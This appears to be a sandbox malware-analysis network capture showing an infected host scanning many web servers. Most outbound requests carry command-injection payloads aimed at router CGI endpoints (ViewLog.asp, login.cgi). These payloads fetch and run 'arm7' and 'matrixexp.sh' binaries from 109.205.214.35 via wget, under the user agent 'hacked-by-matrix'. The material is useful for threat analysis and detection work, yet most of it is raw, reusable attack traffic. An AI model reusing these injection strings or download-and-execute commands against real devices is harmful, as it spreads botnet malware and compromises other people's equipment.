Mar 21, 2024 05:17:51.511979103 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:51.896475077 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:52.036192894 CET	874	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:17:51 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 Content-Length: 217 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 37 3a 35 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 20 28 43 65 6e 74 4f 53 29 20 50 48 50 2f 35 2e 34 2e 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:17:51 GMTServer: Apache/2.4.6 (CentOS) PHP/5.4.16Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
766	192.168.2.23	51524	178.79.159.113	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:51.557713985 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:51.716392994 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 21 Mar 2024 04:17:51 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:17:51.716434956 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:51 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
767	192.168.2.23	46014	213.164.146.202	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:51.579711914 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:51.757258892 CET	958	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 774 Date: Thu, 21 Mar 2024 04:17:51 GMT Keep-Alive: timeout=20 Connection: keep-alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 4d 65 73 73 61 67 65 3c 2f 62 3e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 5b 26 23 34 37 3b 63 67 69 2d 62 69 6e 26 23 34 37 3b 56 69 65 77 4c 6f 67 2e 61 73 70 5d 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 3c 2f 70 3e 3c 70 3e 3c 62 3e 44 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 54 68 65 20 6f 72 69 67 69 6e 20 73 65 72 76 65 72 20 64 69 64 20 6e 6f 74 20 66 69 6e 64 20 61 20 63 75 72 72 65 6e 74 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 66 6f 72 20 74 68 65 20 74 61 72 67 65 74 20 72 65 73 6f 75 72 63 65 20 6f 72 20 69 73 20 6e 6f 74 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 69 73 63 6c 6f 73 65 20 74 68 61 74 20 6f 6e 65 20 65 78 69 73 74 73 2e 3c 2f 70 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 39 2e 30 2e 36 33 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> The requested resource [/cgi-bin/ViewLog.asp] is not available</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/9.0.63</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
768	192.168.2.23	41818	80.147.34.253	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:51.582808018 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:51.783031940 CET	533	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN Content-Type: text/html X-Content-Type-Options: nosniff Date: Thu, 21 Mar 2024 05:17:50 GMT Cache-Control: no-cache Content-Length: 223 X-XSS-Protection: 1; mode=block Connection: Keep-Alive Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 72 65 3e 3c 2f 70 72 65 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><head> <title>Not Found</title> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"></head><body><h2>Access Error: 404 -- Not Found</h2><pre></pre></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
769	192.168.2.23	36596	83.245.207.220	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:51.582901955 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:52.179482937 CET	316	IN	HTTP/1.1 200 OK Content-Type:text/html; charset=UTF-8 Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval'
Mar 21, 2024 05:17:52.179534912 CET	1286	IN	Data Raw: 63 31 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: c1e<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8
Mar 21, 2024 05:17:52.179589987 CET	1286	IN	Data Raw: 69 20 3c 20 4c 69 73 74 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 0a 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 69 66 20 28 66 61 6c 73 65 20 3d 3d 20 49 73 49 50 76 36 41 64 64 72 65 73 73 55 73 68 6f 72 74 56 61 6c 69 64 28 4c 69 73 74 5b 69 5d 29 Data Ascii: i < List.length; i++) { if (false == IsIPv6AddressUshortValid(List[i])) { return false; } } return true; }function IsIPv6AddressValid(Address){ if (Address == "::") {
Mar 21, 2024 05:17:52.179605007 CET	578	IN	Data Raw: 7d 0a 65 6c 73 65 0a 7b 0a 76 61 72 20 6e 65 77 69 70 76 36 61 64 64 72 20 3d 20 48 6f 73 74 49 6e 66 6f 2e 73 75 62 73 74 72 28 30 2c 6c 61 73 74 69 6e 64 65 78 29 3b 0a 76 61 72 20 6e 65 77 69 70 76 36 70 6f 72 74 20 3d 20 48 6f 73 74 49 6e 66 Data Ascii: }else{var newipv6addr = HostInfo.substr(0,lastindex);var newipv6port = HostInfo.substr(lastindex+1);if (IsMaintWan == 0){window.location="https://[" + newipv6addr + "]:" + SSLPort;}else{window.location="https://[" + newipv6addr + "]

Session ID	Source IP	Source Port	Destination IP	Destination Port
770	192.168.2.23	49536	213.243.31.204	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:51.610960960 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
771	192.168.2.23	56796	143.204.126.204	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:51.663865089 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:51.942202091 CET	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Thu, 21 Mar 2024 04:17:51 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 bba78bfbd484c60cfae4e0344a831724.cloudfront.net (CloudFront) X-Amz-Cf-Pop: NRT20-C2 X-Amz-Cf-Id: b2giighiyGWLY2pLU5WSaTpzqniQodsbbbzT1x6Gvek7IXfKwEpfbg== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 